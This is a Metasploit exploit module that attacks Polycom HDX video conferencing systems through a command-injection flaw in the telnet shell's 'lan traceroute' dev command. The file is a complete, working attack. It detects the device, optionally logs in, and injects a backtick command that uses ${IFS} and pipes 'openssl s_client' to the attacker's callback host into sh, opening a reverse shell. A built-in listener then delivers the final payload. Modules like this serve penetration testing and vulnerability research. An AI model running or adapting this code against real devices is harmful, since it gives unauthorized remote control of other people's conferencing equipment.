##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
        'Description' => %q{
          Within Polycom command shell, a command execution flaw exists in
          lan traceroute, one of the dev commands, which allows for an
          attacker to execute arbitrary payloads with telnet or openssl.
        },
        'Author' => [
          'Mumbai',
          'staaldraad', # https://twitter.com/_staaldraad/
          'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
          'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them
        ],
        'References' => [
          ['CVE', '2025-34093'],
          ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
        ],
        'DisclosureDate' => '2017-11-12',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [[ 'Automatic', {} ]],
        'Payload' => {
          'Space' => 8000,
          'DisableNops' => true,
          'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl' }
        },
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(23),
        OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
        OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
        OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
      ]
    )
  end

  def check
    connect
    Rex.sleep(1)
    res = sock.get_once
    disconnect
    if res.nil? || res.empty?
      return Exploit::CheckCode::Unknown('No response received from target')
    elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
      return Exploit::CheckCode::Detected('Polycom HDX device detected')
    end

    Exploit::CheckCode::Unknown('Could not determine if target is a Polycom HDX device')
  end

  def exploit
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
    end

    #
    # Obtain banner information
    #
    sock = connect
    Rex.sleep(2)
    banner = sock.get_once
    vprint_status("Received #{banner.length} bytes from service")
    vprint_line("#{banner}")
    if banner =~ /password/i
      print_status("Authentication enabled on device, authenticating with target...")
      if datastore['PASSWORD'].nil?
        print_error("#{peer} - Please supply a password to authenticate with")
        return
      end
      # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
      sock.put("#{datastore['PASSWORD']}\n")
      res = sock.get_once
      if res =~ /Polycom/
        print_good("#{peer} - Authenticated successfully with target.")
      elsif res =~ /failed/
        print_error("#{peer} - Invalid credentials for target.")
        return
      end
    elsif banner =~ /Polycom/ # praise jesus
      print_good("#{peer} - Device has no authentication, excellent!")
    end
    do_payload(sock)
  end

  def do_payload(sock)
    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

    # Start a listener
    start_listener(true)

    # Figure out the port we picked
    cbport = self.service.getsockname[2]
    cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
    sock.put(cmd)
    if datastore['VERBOSE']
      Rex.sleep(2)
      resp = sock.get_once
      vprint_status("Received #{resp.length} bytes in response")
      vprint_line(resp)
    end

    # Give time for our command to be queued and executed
    1.upto(5) do
      Rex.sleep(1)
      break if session_created?
    end
  end

  def stage_final_payload(cli)
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
    cli.put(payload.encoded + "\n")
  end

  def start_listener(ssl = false)
    comm = datastore['ListenerComm']
    if comm == 'local'
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    self.service = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['CBPORT'],
      'SSL' => ssl,
      'SSLCert' => datastore['SSLCert'],
      'Comm' => comm,
      'Context' =>
      {
        'Msf' => framework,
        'MsfExploit' => self
      }
    )

    self.service.on_client_connect_proc = proc { |client|
      stage_final_payload(client)
    }

    # Start the listening service
    self.service.start
  end

  # Shut down any running services
  def cleanup
    super
    if self.service
      print_status("Shutting down payload stager listener...")
      begin
        self.service.deref if self.service.is_a?(Rex::Service)
        if self.service.is_a?(Rex::Socket)
          self.service.close
          self.service.stop
        end
        self.service = nil
      rescue ::Exception
      end
    end
  end

  # Accessor for our TCP payload stager
  attr_accessor :service
end
